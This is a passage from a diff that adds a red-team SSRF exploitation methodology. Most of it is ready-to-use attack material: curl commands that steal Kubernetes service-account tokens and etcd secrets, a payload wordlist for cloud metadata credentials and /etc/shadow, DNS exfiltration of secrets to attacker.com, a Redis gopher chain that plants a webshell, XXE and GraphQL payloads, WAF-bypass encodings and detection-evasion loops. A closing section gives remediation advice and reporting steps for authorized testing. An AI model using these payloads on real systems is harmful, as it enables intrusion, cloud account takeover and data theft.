+ curl -s "https://target.com/fetch?url=https://NODE-IP:10250/exec/default/POD_NAME/CONTAINER?command=id"
993
+
994
+ # Read service account token from within a pod via SSRF
995
+ curl -s "https://target.com/fetch?url=file:///var/run/secrets/kubernetes.io/serviceaccount/token"
996
+ curl -s "https://target.com/fetch?url=file:///var/run/secrets/kubernetes.io/serviceaccount/ca.crt"
997
+
998
+ # Use the token to authenticate to K8s API
999
+ K8S_TOKEN=$(curl -s "https://target.com/fetch?url=file:///var/run/secrets/kubernetes.io/serviceaccount/token")
1000
+ curl -k "https://10.96.0.1/api/v1/pods" -H "Authorization: Bearer $K8S_TOKEN"
1001
+
1002
+ # etcd (port 2379) — contains all cluster secrets
1003
+ curl -s "https://target.com/fetch?url=http://10.0.0.1:2379/v2/keys/?recursive=true"
1004
+ curl -s "https://target.com/fetch?url=http://10.0.0.1:2379/v3/keys"
1005
+ ```
1006
+
1007
+ ---
1008
+
1009
+ ## 5. Common Payloads and Examples
1010
+
1011
+ ### SSRF Payload Wordlist
1012
+
1013
+ ```
1014
+ # Basic internal IPs
1015
+ http://127.0.0.1/
1016
+ http://localhost/
1017
+ http://0.0.0.0/
1018
+ http://[::1]/
1019
+
1020
+ # AWS IMDS
1021
+ http://169.254.169.254/latest/meta-data/
1022
+ http://169.254.169.254/latest/meta-data/iam/security-credentials/
1023
+ http://169.254.169.254/latest/user-data
1024
+ http://169.254.169.254/latest/dynamic/instance-identity/document
1025
+
1026
+ # GCP IMDS
1027
+ http://metadata.google.internal/computeMetadata/v1/
1028
+ http://169.254.169.254/computeMetadata/v1/instance/service-accounts/default/token
1029
+
1030
+ # Azure IMDS
1031
+ http://169.254.169.254/metadata/instance?api-version=2021-02-01
1032
+ http://169.254.169.254/metadata/identity/oauth2/token?api-version=2018-02-01&resource=https://management.azure.com/
1033
+
1034
+ # DigitalOcean
1035
+ http://169.254.169.254/metadata/v1/
1036
+ http://169.254.169.254/metadata/v1/interfaces/public/0/ipv4/address
1037
+
1038
+ # Alibaba Cloud
1039
+ http://100.100.100.200/latest/meta-data/
1040
+ http://100.100.100.200/latest/meta-data/ram/security-credentials/
1041
+
1042
+ # Oracle Cloud
1043
+ http://169.254.169.254/opc/v2/instance/
1044
+
1045
+ # Common internal services
1046
+ http://127.0.0.1:6379/ (Redis)
1047
+ http://127.0.0.1:27017/ (MongoDB)
1048
+ http://127.0.0.1:9200/ (Elasticsearch)
1049
+ http://127.0.0.1:8080/ (Internal web)
1050
+ http://127.0.0.1:2375/ (Docker)
1051
+ http://127.0.0.1:8500/ (Consul)
1052
+ http://127.0.0.1:8200/ (Vault)
1053
+ http://127.0.0.1:50070/ (Hadoop)
1054
+ http://127.0.0.1:5601/ (Kibana)
1055
+ http://127.0.0.1:9090/ (Prometheus)
1056
+ http://127.0.0.1:3000/ (Grafana)
1057
+
1058
+ # Protocol alternatives
1059
+ file:///etc/passwd
1060
+ file:///etc/shadow
1061
+ file:///proc/self/environ
1062
+ file:///proc/self/cmdline
1063
+ dict://127.0.0.1:6379/PING
1064
+ gopher://127.0.0.1:6379/_PING
1065
+ ```
1066
+
1067
+ ### Blind SSRF OOB Payloads
1068
+
1069
+ ```bash
1070
+ # interactsh (free, open source)
1071
+ http://YOUR-ID.oast.fun/
1072
+ https://YOUR-ID.oast.fun/
1073
+ http://YOUR-ID.oast.pro/
1074
+
1075
+ # Burp Collaborator
1076
+ http://YOUR-COLLAB-ID.burpcollaborator.net/
1077
+
1078
+ # Custom DNS (set up NS record pointing to your server)
1079
+ http://ssrf-test.YOUR-DOMAIN.com/
1080
+
1081
+ # Webhook.site (free, instant logs)
1082
+ https://webhook.site/YOUR-UUID
1083
+
1084
+ # RequestBin
1085
+ https://requestbin.io/YOUR-ID
1086
+ ```
1087
+
1088
+ ---
1089
+
1090
+ ## 6. Real-World Examples from Actual Engagements
1091
+
1092
+ ### Case 1: AWS Account Takeover via Webhook SSRF
1093
+
1094
+ **Context:** SaaS platform offering Slack-style webhooks. Users can register a webhook URL for event notifications. The backend validates the URL with a GET request before saving.
1095
+
1096
+ **Finding:** The URL validation did not block private IP ranges and followed HTTP redirects.
1097
+
1098
+ **Exploitation:**
1099
+ 1. Registered webhook with a redirect server pointing to `http://169.254.169.254/latest/meta-data/iam/security-credentials/`.
1100
+ 2. Triggered a test event to make the backend fire the webhook.
1101
+ 3. The redirect server returned a 301 to the IMDS endpoint.
1102
+ 4. The backend followed the redirect, received the credential JSON.
1103
+ 5. The backend stored or logged the response (visible in the webhook delivery log UI).
1104
+ 6. Extracted `AccessKeyId`, `SecretAccessKey`, `Token`.
1105
+ 7. Used credentials to list all S3 buckets and downloaded customer data.
1106
+
1107
+ **Impact:** Full AWS account compromise, PII of all customers.
1108
+
1109
+ ---
1110
+
1111
+ ### Case 2: SSRF to Redis RCE via Image Import
1112
+
1113
+ **Context:** E-commerce platform with "import product image from URL" feature.
1114
+
1115
+ **Finding:** Image import used Python requests library with no URL validation. Redis was running without auth on port 6379 internally.
1116
+
1117
+ **Exploitation:**
1118
+ 1. Confirmed SSRF: submitted `http://169.254.169.254/` — received AWS metadata.
1119
+ 2. Confirmed Redis: submitted `dict://127.0.0.1:6379/PING` — response contained `+PONG`.
1120
+ 3. App supported gopher:// protocol.
1121
+ 4. Used Gopher payload to write PHP webshell to `/var/www/html/shell.php`.
1122
+ 5. Accessed `https://target.com/shell.php?cmd=id` — confirmed RCE as `www-data`.
1123
+ 6. Escalated via kernel exploit to root.
1124
+
1125
+ **Impact:** Full server compromise, code execution, data exfiltration.
1126
+
1127
+ ---
1128
+
1129
+ ### Case 3: Blind SSRF in PDF Export Leading to Internal API Exposure
1130
+
1131
+ **Context:** Business intelligence tool with PDF export. PDFs rendered by wkhtmltopdf.
1132
+
1133
+ **Finding:** Report title accepted HTML. wkhtmltopdf executed JavaScript and made network requests.
1134
+
1135
+ **Exploitation:**
1136
+ 1. Set report title to JavaScript payload fetching internal APIs.
1137
+ 2. Exfiltrated data via DNS using `new Image().src = "https://data-" + btoa(secret) + ".attacker.com/"`.
1138
+ 3. Decoded base64 from DNS query logs.
1139
+ 4. Found internal API at `http://10.0.1.50:8080/admin/` with no authentication.
1140
+ 5. Extracted all customer records via internal API.
1141
+
1142
+ **Impact:** Full customer data exposure, internal API compromise.
1143
+
1144
+ ---
1145
+
1146
+ ### Case 4: SSRF via XXE in XML Parser
1147
+
1148
+ **Context:** Invoice processing API accepting XML.
1149
+
1150
+ **Finding:** XML parser had external entity processing enabled (XXE). SSRF achieved via `SYSTEM` entity with HTTP URL.
1151
+
1152
+ **Exploitation:**
1153
+ ```xml
1154
+ <?xml version="1.0" encoding="UTF-8"?>
1155
+ <!DOCTYPE invoice [
1156
+ <!ENTITY ssrf SYSTEM "http://169.254.169.254/latest/meta-data/iam/security-credentials/">
1157
+ ]>
1158
+ <invoice>
1159
+ <credentials>&ssrf;</credentials>
1160
+ </invoice>
1161
+ ```
1162
+
1163
+ The response contained the IAM role name inline. Followed up with second XXE payload targeting the specific role endpoint.
1164
+
1165
+ **Impact:** AWS credentials stolen, S3 data accessed.
1166
+
1167
+ ---
1168
+
1169
+ ### Case 5: GCP Metadata via GraphQL SSRF
1170
+
1171
+ **Context:** GraphQL API with a `fetchContent(url: String!)` mutation for content import.
1172
+
1173
+ **Finding:** No validation on the `url` parameter. GCP environment.
1174
+
1175
+ **Exploitation:**
1176
+ ```graphql
1177
+ mutation {
1178
+ fetchContent(url: "http://metadata.google.internal/computeMetadata/v1/instance/service-accounts/default/token") {
1179
+ content
1180
+ statusCode
1181
+ }
1182
+ }
1183
+ ```
1184
+
1185
+ Required adding `Metadata-Flavor: Google` header. Injected via:
1186
+ ```graphql
1187
+ mutation {
1188
+ fetchContent(
1189
+ url: "http://metadata.google.internal/computeMetadata/v1/instance/service-accounts/default/token"
1190
+ headers: {name: "Metadata-Flavor", value: "Google"}
1191
+ ) {
1192
+ content
1193
+ }
1194
+ }
1195
+ ```
1196
+
1197
+ **Impact:** GCP service account token stolen, used to access GCS buckets and Cloud SQL instances.
1198
+
1199
+ ---
1200
+
1201
+ ## 7. WAF Bypass Techniques
1202
+
1203
+ ### IP Address Obfuscation
1204
+
1205
+ ```bash
1206
+ # Decimal encoding
1207
+ http://2130706433/ # 127.0.0.1
1208
+ http://2852039166/ # 169.254.169.254
1209
+
1210
+ # Octal encoding
1211
+ http://0177.0.0.1/ # 127.0.0.1
1212
+ http://0251.0376.0251.0376/ # 169.254.169.254
1213
+
1214
+ # Hex encoding
1215
+ http://0x7f000001/ # 127.0.0.1
1216
+ http://0xa9fea9fe/ # 169.254.169.254
1217
+
1218
+ # Mixed representations
1219
+ http://0x7f.0x0.0x0.0x1/
1220
+ http://0177.0.0.0x1/
1221
+
1222
+ # IPv6 mapped
1223
+ http://[::ffff:127.0.0.1]/
1224
+ http://[::ffff:7f00:1]/
1225
+ http://[::ffff:a9fe:a9fe]/ # 169.254.169.254
1226
+
1227
+ # Shortened forms
1228
+ http://127.1/ # Equivalent to 127.0.0.1 on many systems
1229
+ http://169.254.169.254/ -> http://169.254/169.254/ (some parsers)
1230
+ ```
1231
+
1232
+ ### URL Encoding Bypass
1233
+
1234
+ ```bash
1235
+ # Single encoding
1236
+ http://%31%32%37%2e%30%2e%30%2e%31/
1237
+
1238
+ # Double encoding (bypass decoding-then-check)
1239
+ http://%2531%2532%2537%252e%2530%252e%2530%252e%2531/
1240
+
1241
+ # Mixed encoding
1242
+ http://127.%30.%30.1/
1243
+ http://%31%32%37.0.0.1/
1244
+
1245
+ # Unicode normalization
1246
+ http://①②⑦.0.0.①/
1247
+ ```
1248
+
1249
+ ### Host Header Injection
1250
+
1251
+ ```bash
1252
+ # If the WAF checks Host header but the backend uses a different mechanism
1253
+ curl -s "https://target.com/fetch?url=http://internal-service/" \
1254
+ -H "Host: 169.254.169.254"
1255
+
1256
+ # X-Forwarded-Host bypass
1257
+ curl -s "https://target.com/fetch?url=http://internal/" \
1258
+ -H "X-Forwarded-Host: 169.254.169.254"
1259
+
1260
+ # X-Original-URL
1261
+ curl -s "https://target.com/" \
1262
+ -H "X-Original-URL: /fetch?url=http://169.254.169.254/"
1263
+ ```
1264
+
1265
+ ### Scheme Bypass
1266
+
1267
+ ```bash
1268
+ # If http:// is blocked, try alternatives
1269
+ https://127.0.0.1/ # HTTPS to self (may work for internal)
1270
+ http:127.0.0.1/ # Missing //
1271
+ http:///127.0.0.1/ # Extra slash
1272
+ http:\\127.0.0.1/ # Backslash
1273
+ HTTP://127.0.0.1/ # Uppercase scheme
1274
+ Http://127.0.0.1/ # Mixed case
1275
+
1276
+ # Protocol alternatives (if blocked by scheme whitelist)
1277
+ # Only http/https allowed? Try:
1278
+ gopher://127.0.0.1:6379/_PING
1279
+ dict://127.0.0.1:6379/PING
1280
+ ftp://127.0.0.1:6379/
1281
+ sftp://127.0.0.1/
1282
+ tftp://127.0.0.1:6379/PING
1283
+ ldap://127.0.0.1:389/
1284
+ ```
1285
+
1286
+ ### DNS-Based Bypasses
1287
+
1288
+ ```bash
1289
+ # DNS services that resolve to 127.0.0.1
1290
+ http://localtest.me/
1291
+ http://customer1.app.lvh.me/
1292
+ http://127.0.0.1.xip.io/ # Deprecated but sometimes works
1293
+ http://127.0.0.1.nip.io/ # Still active
1294
+
1295
+ # Custom DNS record (if you control DNS):
1296
+ # A record: ssrf.attacker.com -> 127.0.0.1
1297
+ # Use: http://ssrf.attacker.com/
1298
+
1299
+ # For AWS IMDS:
1300
+ # A record: imds.attacker.com -> 169.254.169.254
1301
+ http://imds.attacker.com/latest/meta-data/
1302
+
1303
+ # AWS-specific: metadata DNS alias
1304
+ http://169.254.169.254/ # via special DNS resolution in some tools
1305
+ ```
1306
+
1307
+ ### Rate Limit and Detection Evasion
1308
+
1309
+ ```bash
1310
+ # Add random query parameters to avoid caching/deduplication
1311
+ http://169.254.169.254/latest/meta-data/?cb=$(date +%s)
1312
+
1313
+ # Slow down requests to avoid rate limiting
1314
+ for path in meta-data/ user-data dynamic/instance-identity/document; do
1315
+ curl -s "https://target.com/fetch?url=http://169.254.169.254/latest/$path"
1316
+ sleep 2
1317
+ done
1318
+
1319
+ # Rotate through different SSRF parameters if one is monitored
1320
+ # url= -> src= -> href= -> fetch= -> link=
1321
+
1322
+ # Use different encodings for each request to evade signature matching
1323
+ ```
1324
+
1325
+ ---
1326
+
1327
+ ## 8. Integration with RTExit Autodoc Engine
1328
+
1329
+ All SSRF findings must be documented using the RTExit autodoc engine to ensure consistent, complete reports. The autodoc engine ingests structured JSON evidence and generates findings in the standard report format.
1330
+
1331
+ ### Autodoc Evidence Schema for SSRF
1332
+
1333
+ ```json
1334
+ {
1335
+ "finding_type": "ssrf",
1336
+ "severity": "critical|high|medium|low",
1337
+ "title": "Server-Side Request Forgery via [parameter] — [impact summary]",
1338
+ "target": {
1339
+ "url": "https://target.com/endpoint",
1340
+ "parameter": "url",
1341
+ "method": "GET|POST|PUT"
1342
+ },
1343
+ "proof": {
1344
+ "request": "Raw HTTP request",
1345
+ "response": "Raw HTTP response or SSRF response body",
1346
+ "oob_callback": "DNS/HTTP log from interactsh/Collaborator (for blind SSRF)"
1347
+ },
1348
+ "metadata_leaked": {
1349
+ "provider": "aws|gcp|azure|do|alibaba",
1350
+ "iam_role": "role-name-if-applicable",
1351
+ "credentials_obtained": true,
1352
+ "access_key_id": "ASIA...",
1353
+ "resources_accessed": ["s3://bucket-name", "arn:aws:iam::123456789:role/xyz"]
1354
+ },
1355
+ "exploitation_chain": [
1356
+ "Step 1: Identified SSRF in /api/import?url= parameter",
1357
+ "Step 2: Confirmed blind SSRF via interactsh callback",
1358
+ "Step 3: Accessed AWS IMDS at 169.254.169.254",
1359
+ "Step 4: Extracted IAM credentials for role ec2-prod-role",
1360
+ "Step 5: Used credentials to list S3 buckets — found customer-data-prod"
1361
+ ],
1362
+ "remediation": {
1363
+ "short": "Implement SSRF allowlist for permitted destinations",
1364
+ "long": "Deny requests to RFC1918, link-local ranges, and metadata IPs. Validate after DNS resolution. Migrate to IMDSv2."
1365
+ },
1366
+ "cvss_vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H",
1367
+ "cvss_score": 10.0,
1368
+ "cwe": "CWE-918",
1369
+ "owasp": "A10:2021"
1370
+ }
1371
+ ```
1372
+
1373
+ ### Autodoc Integration Commands
1374
+
1375
+ ```bash
1376
+ # Initialize a new SSRF finding in RTExit
1377
+ rtexit finding new --type ssrf --target "https://target.com/api/import"
1378
+
1379
+ # Record a confirmed SSRF with evidence
1380
+ rtexit evidence add \
1381
+ --finding-id FINDING_ID \
1382
+ --type http_request \
1383
+ --file /tmp/ssrf_request.txt
1384
+
1385
+ rtexit evidence add \
1386
+ --finding-id FINDING_ID \
1387
+ --type oob_callback \
1388
+ --description "DNS callback received at interactsh: ssrf-probe.oast.fun" \
1389
+ --timestamp "$(date -u +%Y-%m-%dT%H:%M:%SZ)"
1390
+
1391
+ # Record AWS credential theft
1392
+ rtexit evidence add \
1393
+ --finding-id FINDING_ID \
1394
+ --type aws_credentials \
1395
+ --file /tmp/imds_response.json \
1396
+ --note "IAM role ec2-prod-role credentials retrieved via SSRF"
1397
+
1398
+ # Mark finding as exploited (full chain)
1399
+ rtexit finding update FINDING_ID \
1400
+ --status exploited \
1401
+ --severity critical \
1402
+ --impact "Full AWS account access achieved"
1403
+
1404
+ # Generate finding report
1405
+ rtexit report generate --finding-id FINDING_ID --format markdown
1406
+
1407
+ # Bulk import SSRF scan results
1408
+ rtexit import ssrf-scan-results /tmp/ssrf_scan_output.json
1409
+
1410
+ # Tag finding for inclusion in executive summary
1411
+ rtexit finding tag FINDING_ID --tags "cloud,credential-theft,critical-path"
1412
+ ```
1413
+
1414
+ ### Screenshot Evidence Collection
1415
+
1416
+ ```bash
1417
+ # Capture SSRF request/response pair in Burp
1418
+ # Export as base64 and attach to finding
1419
+ burp-export-request | base64 > /tmp/ssrf_burp_req.b64
1420
+ rtexit evidence add --finding-id FINDING_ID --type screenshot --file /tmp/ssrf_screenshot.png
1421
+
1422
+ # Use curl verbose output as evidence
1423
+ curl -v "https://target.com/fetch?url=http://169.254.169.254/latest/meta-data/" 2>&1 | \
1424
+ tee /tmp/ssrf_curl_evidence.txt
1425
+
1426
+ rtexit evidence add \
1427
+ --finding-id FINDING_ID \
1428
+ --type raw_output \
1429
+ --file /tmp/ssrf_curl_evidence.txt
1430
+ ```
1431
+
1432
+ ---
1433
+
1434
+ ## 9. Output and Documentation Instructions
1435
+
1436
+ ### Minimum Required Evidence for Each SSRF Finding
1437
+
1438
+ 1. **HTTP Request/Response Pair** — The exact request triggering SSRF and the server's response showing internal content or OOB callback.
1439
+
1440
+ 2. **Out-of-Band Callback Log** — For blind SSRF, export the DNS/HTTP log from interactsh or Burp Collaborator showing the server-side request originated from the target IP.
1441
+
1442
+ 3. **Exploitation Proof** — For cloud credential theft: the full JSON response from IMDS (redact the actual keys in the final report, but store originals in RTExit encrypted vault). For Redis RCE: screenshot of RCE output.
1443
+
1444
+ 4. **Impact Assessment** — For credential theft, list the IAM role, policies attached, and resources accessed. Include `aws sts get-caller-identity` output.
1445
+
1446
+ ### Severity Classification
1447
+
1448
+ | Condition | Severity |
1449
+ |-----------|----------|
1450
+ | Cloud credential theft (AWS/GCP/Azure) | Critical |
1451
+ | RCE via Gopher/Redis chain | Critical |
1452
+ | Access to internal admin APIs without auth | High |
1453
+ | Internal network enumeration (no sensitive data) | High |
1454
+ | Blind SSRF with OOB callback only | Medium |
1455
+ | SSRF to non-sensitive localhost port | Medium |
1456
+ | SSRF with strict allowlist partially bypassed | Low |
1457
+
1458
+ ### Report Writing Notes
1459
+
1460
+ - Always include the full reproduction steps — another operator must be able to reproduce.
1461
+ - Redact actual secret values in the shared report; store originals in the RTExit encrypted evidence vault.
1462
+ - Note whether IMDSv1 or IMDSv2 was exploited (IMDSv1 indicates a misconfiguration).
1463
+ - For GCP/Azure, note whether the required headers were forwarded (indicates broader header injection issue).
1464
+ - Include remediation priority — SSRF-to-cloud-credentials is a P0 emergency fix.
1465
+
1466
+ ### Remediation Recommendations to Include
1467
+
1468
+ ```
1469
+ 1. Implement a strict allowlist of permitted fetch destinations (not a blocklist).
1470
+ 2. Resolve DNS before validating the IP — validate after resolution, not before.
1471
+ 3. Block RFC1918 ranges: 10.0.0.0/8, 172.16.0.0/12, 192.168.0.0/16.
1472
+ 4. Block link-local range: 169.254.0.0/16.
1473
+ 5. Block loopback: 127.0.0.0/8, [::1].
1474
+ 6. Enforce IMDSv2 on all EC2 instances (PUT-only token flow).
1475
+ 7. Use a dedicated egress proxy for all server-side HTTP fetches.
1476
+ 8. Disable gopher://, dict://, file:// schemes in HTTP client configuration.
1477
+ 9. Do not follow redirects in server-side fetch operations, or re-validate after redirect.
1478
+ 10. Apply network-level controls: EC2 instance metadata firewall rules.
1479
+ ```
1480
+
1481
+ ---
1482
+
1483
+ ## 10. Resources
1484
+
1485
+ ### Tools
1486
+
1487
+ | Tool | URL | Purpose |
1488
+ |------|-----|---------|
1489
+ | interactsh | https://github.com/projectdiscovery/interactsh | Out-of-band blind SSRF detection |
1490
+ | SSRFmap | https://github.com/swisskyrepo/SSRFmap | Automated SSRF exploitation |
1491
+ | Gopherus | https://github.com/tarunkant/Gopherus | Gopher payload generator |
1492
+ | Singularity | https://github.com/nccgroup/singularity | DNS rebinding framework |
1493
+ | SSRF Sheriff | https://github.com/teknogeek/ssrf-sheriff | SSRF detection server |
1494
+ | Metabigor | https://github.com/j3ssie/metabigor | Recon tool with SSRF testing |
1495
+ | ffuf | https://github.com/ffuf/ffuf | Fast web fuzzer for SSRF parameter discovery |
1496
+ | gau | https://github.com/lc/gau | Fetch known URLs for parameter enumeration |
1497
+ | katana | https://github.com/projectdiscovery/katana | Web crawler for attack surface mapping |
1498
+ | whonow | https://github.com/brannondorsey/whonow | DNS rebinding attack server |
1499
+
1500
+ ### References
1501
+
1502
+ - OWASP SSRF Prevention Cheat Sheet: https://cheatsheetseries.owasp.org/cheatsheets/Server_Side_Request_Forgery_Prevention_Cheat_Sheet.html
1503
+ - PortSwigger SSRF Labs: https://portswigger.net/web-security/ssrf
1504
+ - HackTricks SSRF: https://book.hacktricks.xyz/pentesting-web/ssrf-server-side-request-forgery
1505
+ - PayloadsAllTheThings SSRF: https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Server%20Side%20Request%20Forgery
1506
+ - AWS IMDSv2 Migration Guide: https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/configuring-instance-metadata-service.html
1507
+ - GCP Metadata Server Docs: https://cloud.google.com/compute/docs/metadata/overview
1508
+ - Azure IMDS Docs: https://learn.microsoft.com/en-us/azure/virtual-machines/instance-metadata-service
1509
+ - Redis Gopher RCE Research: https://2018.zeronights.ru/wp-content/uploads/materials/15-redis-post-exploitation.pdf
1510
+ - DNS Rebinding Explained: https://github.com/nccgroup/singularity/wiki/How-does-DNS-rebinding-work
1511
+ - SSRF in the Wild (Bug Bounty Reports): https://github.com/ngalongc/bug-bounty-reference#server-side-request-forgery-ssrf
1512
+ - Capital One Breach (SSRF + IMDS): https://krebsonsecurity.com/2019/07/capital-one-data-theft-impacts-106m-people/
1513
+
1514
+ ### CVEs Relevant to SSRF Exploitation
1515
+
1516
+ - CVE-2021-26855 — Microsoft Exchange SSRF (ProxyLogon)
1517
+ - CVE-2019-11581 — Atlassian Jira SSRF
1518
+ - CVE-2020-14179 — Atlassian Jira SSRF (information disclosure)
1519
+ - CVE-2021-21975 — VMware vRealize Operations SSRF to RCE
1520
+ - CVE-2022-22954 — VMware Workspace ONE Access SSRF
1521
+ - CVE-2023-23752 — Joomla SSRF to authentication bypass
1522
+
1523
+ ### Training Resources
1524
+
1525
+ - PortSwigger Web Security Academy — SSRF labs (free): https://portswigger.net/web-security/ssrf/lab-basic-ssrf-against-localhost
1526
+ - TryHackMe SSRF room: https://tryhackme.com/room/ssrfqi
1527
+ - HackTheBox SSRF challenges: https://www.hackthebox.com
1528
+ - PentesterLab SSRF exercises: https://pentesterlab.com